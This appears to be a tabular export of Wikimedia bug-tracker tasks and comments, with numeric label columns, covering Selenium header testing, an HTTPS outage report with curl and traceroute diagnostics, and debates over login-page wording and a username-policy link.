+I am aware of the proxying solution, but that is not very applicable - we need to set header = value1, test that results match value1, set it to value2, etc.",,,1385501579,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+210530,Investigate how to fake HTTP headers,"Possibly related blog posts:
+
+http://jimevansmusic.blogspot.com/2012/07/webdriver-y-u-no-have-http-status-codes.html
+http://jimevansmusic.blogspot.com/2013/08/implementing-webdriver-http-status.html
+http://jimevansmusic.blogspot.com/2013/08/implementing-http-status-codes-in.html
+http://jimevansmusic.blogspot.com/2013/08/implementing-http-status-codes-in_17.html",,,1385491641,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+210527,Investigate how to fake HTTP headers,"To make it explicit, the solution should use Selenium Ruby bindings: https://code.google.com/p/selenium/wiki/RubyBindings",,,1385490484,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+210525,Investigate how to fake HTTP headers,Do we know if Zero team still needs this? Who do we ping there to find out?,,,1385490436,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+210522,Investigate how to fake HTTP headers,"Probably not with Se directly, see suggestions at https://groups.google.com/forum/?fromgroups=#!topic/selenium-users/TeC-0TVV7Io",,,1367945887,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+50208,esams cluster unreachable using SSL,"**Author:** `mediazilla`
+
+**Description:**
+Hi folks,
+
+since last night, I've been unable to access any Wikimedia site using https (plain http works just fine). I'm in Germany, and I'm getting served by the esams cluster.
+
+I've tried a variety of sites, including https://en.wikipedia.org , https://en.wikinews.org , https://www.mediawiki.org and https://meta.wikimedia.org ; none have worked. (https://mediawiki.org , which is getting served by the pmtpa cluster, works.)
+
+When attempting to connect to any site served by the esams cluster, according to Wireshark, there is never a reply of any kind to the inital SYN packet. Given the TCP traceroutes below, I'm inclined to believe that the problem lies somewhere in Wikimedia's cluster.
+
+I already asked about this in #wikimedia-tech last night and spoke to Leslie Carr and Ryan Lane, but they didn't find any obvious problems. It was noted that another user had already asked about https access issues earlier that night.
+
+Since it's still not working today, I'm filing this bug so it won't be forgotten. Thanks for looking into this - please let me know if you need more information or if there's anything I can do to help.
+
+--- Sample curl output ---
+$ curl -I -v https://en.wikipedia.org
+* About to connect() to en.wikipedia.org port 443 (#0)
+*   Trying 91.198.174.225...
+* 0x8001f2b0 is at send pipe head!
+* STATE: CONNECT => WAITCONNECT handle 0x80057550; line 1032 (connection #0)
+* After 149981ms connect time, move on!
+*   Trying 2620:0:862:ed1a::1...
+* After 74978ms connect time, move on!
+* Failed connect to en.wikipedia.org:443; Operation now in progress
+* Closing connection 0
+* The cache now contains 0 members
+curl: (7) Failed connect to en.wikipedia.org:443; Operation now in progress
+$ 
+
+--- Sample tcp tracerote on port 443 ---
+$ tracetcp en.wikipedia.org:443
+
+Tracing route to 91.198.174.225 [wikipedia-lb.esams.wikimedia.org] on port 443
+Over a maximum of 30 hops.
+[local hops]
+3       12 ms   13 ms   13 ms   145.254.10.201
+4       23 ms   27 ms   31 ms   92.79.213.138
+5       19 ms   18 ms   19 ms   195.69.145.176  [xe-1-1-0.cr2-knams.wikimedia.or
+g]
+6       *       *       *       Request timed out.
+7       *       *       *       Request timed out.
+8       *       *       *       Request timed out.
+9       *       *       *       Request timed out.
+10      *       *       *       Request timed out.
+11      *       *       *       Request timed out.
+[...]
+
+$ 
+
+--- Sample tcp traceroute on port 80 (for comparison) ---
+
+$ tracetcp en.wikipedia.org:80
+
+Tracing route to 91.198.174.225 [wikipedia-lb.esams.wikimedia.org] on port 80
+Over a maximum of 30 hops.
+[local hops]
+3       10 ms   10 ms   12 ms   145.254.10.201
+4       31 ms   23 ms   27 ms   92.79.213.138
+5       19 ms   18 ms   19 ms   195.69.145.176  [xe-1-1-0.cr2-knams.wikimedia.or
+g]
+6       Destination Reached in 20 ms. Connection established to 91.198.174.225
+Trace Complete.
+
+$
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1367927160,1367959500.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-v3yb6jy3g6fcigky3afi,task_description,declined,True,c2,1,False,False,True,-17,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+210034,esams cluster unreachable using SSL,"**mediazilla** wrote:
+
+Quick heads-up: whatever the problem was, it seems to be working again now. I'll close this as WORKSFORME for now - will reopen if there's gonna be issues again.",,,1367959500,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3yb6jy3g6fcigky3afi,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+49704,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","The new ACUX shows this link ""(help me choose)"" prominently on top of the first textfield. This is a wikipedism that has several problems:
+
+* Most MediaWiki instances don't have any username policy. With that link enforced you need to create a wiki page not to show that link in red. See for instance http://www.mediawiki.org/w/index.php?title=Project:Username_policy&action=edit&redlink=1
+
+* Even if you do have a policy (like English Wikipedia has) this is probably not a page you want all new user to look, scared that they might be doing something wrong. http://en.wikipedia.org/wiki/Wikipedia:Username_policy is so dense and boring that it might drive potential new users away.
+
+I'm not sure how to force a wrong username and I don't want to create fake accounts trying to test this, but I bet when you try to create a ""blacklisted"" user name you get an error message. Place the ""(help me choose)"" link in the error message instead, since that is the place where legitimate users will need it.
+
+In the meantime most people just trying to register with their NameSurnameXYZ and other innocent variants will just go through, unaware (for good!) of the dense boring policy they just followed unconsciously.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47801",Needs Triage,90.0,1366947540,1367388158.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-fchvq33a4ppcnk465wwu,task_description,resolved,True,c2,1,False,False,True,-18,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0
+230330,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","**swalling** wrote:
+
+See my comment on bug 47801 about our solution for this.
+
+%%%*** This bug has been marked as a duplicate of bug 47801 ***%%%",,,1367388158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+230327,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","The Commons is proposed, but the other two non-Wikpedia ones mentioned are official.",,,1367270877,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0
+230324,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","Let's discuss the username policy link here, since it's more specific, and this bug was filed first.
+
+There are a lot of wikis both inside and outside the WMF that have a username policy.  There are two questions:
+
+* What should the MW defaults should be?
+
+* What should the WMF defaults be?
+
+Based on this, there are various options
+
+1. If we think most MW wikis want a username policy linked from this page, then the original approach seems correct, and wikis that don't want it can override it locally.
+
+There are certainly a good number of third-party MW wikis that have this (search [wiki username policy]), and more might set it up if it were suggested as a redlink.
+
+2. If most MW wikis don't have or want it, but WMF wikis do, then one option is to put it in WikimediaMessages (https://www.mediawiki.org/wiki/Extension:WikimediaMessages), which is exactly what it sounds like, WMF-wide message defaults.
+
+It certainly seems like a lot of WMF wikis have such policies, judging by both https://www.wikidata.org/wiki/Q4664077 and the Google search mentioned above.  It's not just Wikipedias.  See http://en.wikiquote.org/wiki/Wikiquote:Username_policy, http://commons.wikimedia.org/wiki/Commons:Username_policy, http://en.wikinews.org/wiki/Wikinews:Username , etc.
+
+3. We could have a boolean that determines whether to show the message, with an appropriate MW and WMF default, and configuration on various wikis.
+
+4. We could do it manually only on the wikis that want it, but I'm not convinced that's the most efficient, given how many do have it.
+
+I think 1 or 2 are the best options, but 3 is a possibility.
+
+Regarding the original point (only showing it after an error), it is true that ""when you try to create a ""blacklisted"" user name you get an error message""
+
+But there are a lot of usernames that are not appropriate, but not blacklisted.  And some wikis don't have automated blacklists enabled.",,,1367268172,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+230319,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","Bartosz, thanks for your patch. It and the discussion of what urls should appear in the new forms by default belongs in bug 47801.
+
+This bug remains an interesting idea that we probably won't implement. Wikis could implement it by blanking the message in the createaccount form and adding a '_help with usernames_' link to messages like 'noname'; it's a useful approach for some wikis and we should suggest this somewhere, maybe https://www.mediawiki.org/wiki/Manual:Page_customizations ?
+
+Note bug 47530 ""Open username policy in tooltip"" should help with the problem identified by this bug by making the advice more lightweight.",,,1367266715,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0
+230315,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt",I submitted Ie0888cd0 to blank this message by default.,,,1367253421,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+230308,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt",Related URL: https://gerrit.wikimedia.org/r/61395 (Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df),,,1367253329,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+230303,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","(In reply to comment #7)
+> I don't think having to customize a link and/or its text is such a bad thing,
+> we do it all the time on Wikimedia projects.
+
+Precisely. Which is why *we* should keep doing that, instead of forcing it on all MediaWiki projects everywhere.
+
+
+> Other than that, this thread has
+> devolved pretty rapidly in to trolling. I have about 20-something other bugs
+> or
+> enhancements to deal with, so I'm moving on.
+
+Please don't throw tantrums when you're disagreeing with someone. This is just irresponsible.",,,1367252923,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+230296,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","**swalling** wrote:
+
+(In reply to comment #6)
+> (In reply to comment #1)
+> > Either that, or redirect to a central one.
+> 
+> Ridiculous, we don't even have crosswiki redirects; stop climbing mirrors,
+> Steven. 
+> 
+> If you believe a central help page is needed,
+> 1) create it on mediawiki.org and make it translatable,
+> 2) link it from the interface.
+> 
+> If you believe a policy is needed, please get consensus for this claim. I've
+> opened a new section for you at
+> https://meta.wikimedia.org/w/index.
+> php?title=Wikimedia_Forum&oldid=5442481#Username_policies
+
+Nemo, I'm sorry but that thread is too much. What point are you trying to make, other than that you can selectively quote me on Meta, but not by name, and get some people to snark about it? You trying to drum up anger by putting words in my mouth about forcing policy on communities, when that is _not_ what I said or meant, is ridiculous. 
+
+I don't think having to customize a link and/or its text is such a bad thing, we do it all the time on Wikimedia projects. Other than that, this thread has devolved pretty rapidly in to trolling. I have about 20-something other bugs or enhancements to deal with, so I'm moving on.",,,1367252053,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+230289,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","(In reply to comment #1)
+> Either that, or redirect to a central one.
+
+Ridiculous, we don't even have crosswiki redirects; stop climbing mirrors, Steven. 
+
+If you believe a central help page is needed,
+1) create it on mediawiki.org and make it translatable,
+2) link it from the interface.
+
+If you believe a policy is needed, please get consensus for this claim. I've opened a new section for you at https://meta.wikimedia.org/w/index.php?title=Wikimedia_Forum&oldid=5442481#Username_policies",,,1367221076,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+230281,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","(In reply to comment #4)
+> Wikimedia sites are different in this regard. We have local policies about
+> group accounts, accounts that seem to represent a company, accounts with
+> offensive names, etc. that will get users blocked if they violate them. A
+> link
+> is the least intrusive way to provide this information up front to users, and
+> many of the local rules won't generate an error message at all.
+
+Precisely - it's the Wikimedia sites that are different, and this shouldn't be enforced globally. There's nothing preventing you from inserting an empty message there and letting wiki's admins customize it.
+
+I noticed this when trying out the new UI at pl.wikipedia, and I agree with Quim and MZMcBride – this link should not be there by default.",,,1367171737,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1
+230272,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","**swalling** wrote:
+
+(In reply to comment #2)
+> Also why poor practice? What is the % of users that hit a wrong username vs
+> the
+> ones just going through? Have you seen any popular web service referring to a
+> username policy the moment you create an account? I have registered to plenty
+> of online services and never saw such notice.
+
+Wikimedia sites are different in this regard. We have local policies about group accounts, accounts that seem to represent a company, accounts with offensive names, etc. that will get users blocked if they violate them. A link is the least intrusive way to provide this information up front to users, and many of the local rules won't generate an error message at all.
+
+> In the current registration page that link is one of many and I'm sure most
+> users don't even see it. But in the new UX (which I love) it suddenly becomes
+> the most visible link. 
+
+The link is far less prominent than what some wikis are doing in their old versions of the forms: walls of text explaining the rules.
+
+Users do click through and read this link, even when it was embedded in a mountain of text, and still successfully create accounts. (On English Wikipedia, for example, it's the number three referrer to sign up page.) Adding the link up front is not doing harm, and in fact may be doing some good. 
+
+Anyway, MZ can play tug of war with the bug status, but I'm not going to recommend  to E3 that we implement this.",,,1367171350,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+230266,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","(In reply to comment #1)
+> All Wikimedia projects should have a help document or policy describing what
+> is and is not an acceptable username.
+
+This bug is in the ""MediaWiki"" product, not the ""Wikimedia"" product. Re-opening.",,,1367125672,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+230260,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","> All Wikimedia projects should have a help document or policy describing what 
+> is and is not an acceptable username.
+
+Maybe, although this is not the reality today. But in any case: this a feature in MediaWiki core, not an extension used only by Wikimedia projects. I don't think we can enforce Wikimedia policies through the UI of a plain MediaWiki feature.
+
+Also why poor practice? What is the % of users that hit a wrong username vs the ones just going through? Have you seen any popular web service referring to a username policy the moment you create an account? I have registered to plenty of online services and never saw such notice.
+
+In the current registration page that link is one of many and I'm sure most users don't even see it. But in the new UX (which I love) it suddenly becomes the most visible link. And let me repeat, the long destination page only helps to those having the patience to read 40% of it through. I wouldn't be surprised if in practice people try whatever username had in mind already without reading any policy in advance.
+
+Please consider reopening, even if it doesn't fit in your priorities today.",,,1366953337,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+230254,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","**swalling** wrote:
+
+All Wikimedia projects should have a help document or policy describing what is and is not an acceptable username. Either that, or redirect to a central one. Only providing the help link after the user fails is poor practice.",,,1366951401,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+49695,Improve message for attempted login for a non-existent username,"**Author:** `Thehelpfulonewiki`
+
+**Description:**
+When I logged in without a username that exists, I got the message ""There is no user by the name ""Thehelpfulone3"". Check your spelling, or go to Wikipedia's signup page to create a new user account.""
+
+""Wikipedia's signup page"" links to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup. Can we change the wording from ""Wikipedia's signup page"" to something better? I'm open to suggestions, but as a first idea: ""click here to create a new user account""?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1366935000,1366936100.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-link6ash257szwpy75ub,task_description,declined,True,c2,1,False,False,True,-18,True,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0
+229697,Improve message for attempted login for a non-existent username,"This is not a software issue.  It's English Wikipedia's https://en.wikipedia.org/wiki/MediaWiki:Nosuchuser override.  For reference, the software default is:
+
+There is no user by the name ""$1"".
+Usernames are case sensitive.
+Check your spelling, or [[Special:UserLogin/signup|create a new account]].
+
+You can certainly propose to change English Wikipedia's at https://en.wikipedia.org/wiki/MediaWiki_talk:Nosuchuser or e.g. the village pump.",,,1366936100,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-link6ash257szwpy75ub,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+49648,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon","Screenshot of meta.m.wikimedia.org's user login screen inexplicably showing a ""W"" icon
+
+When I go to <https://meta.m.wikimedia.org/wiki/Special:UserLogin>, I see a large, prominent ""W"" icon. I don't know why.
+
+The icon is <https://bits.wikimedia.org/static-1.22wmf2/extensions/MobileFrontend/stylesheets/specials/images/W.png>. I've also included a screenshot with this bug report.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://meta.m.wikimedia.org/wiki/Special:UserLogin
+
+**Attached**: {F10879}",Needs Triage,90.0,1366902540,1368140918.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-lhmac4kq4rzjvl3updap,task_description,resolved,True,c2,1,True,False,True,-18,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+226513,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon",https://gerrit.wikimedia.org/r/63072 (Gerrit Change I58d0129f7e0e053f8e24c10c53f7fa4709be64c5) | change APPROVED and MERGED [by Jdlrobson],,,1368140898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+226509,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon",Related URL: https://gerrit.wikimedia.org/r/63072 (Gerrit Change I58d0129f7e0e053f8e24c10c53f7fa4709be64c5),,,1368135835,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+226506,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon","**mgrover** wrote:
+
+Assigned Mingle Ticket https://mingle.corp.wikimedia.org/projects/mobile/cards/747",,,1366946203,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
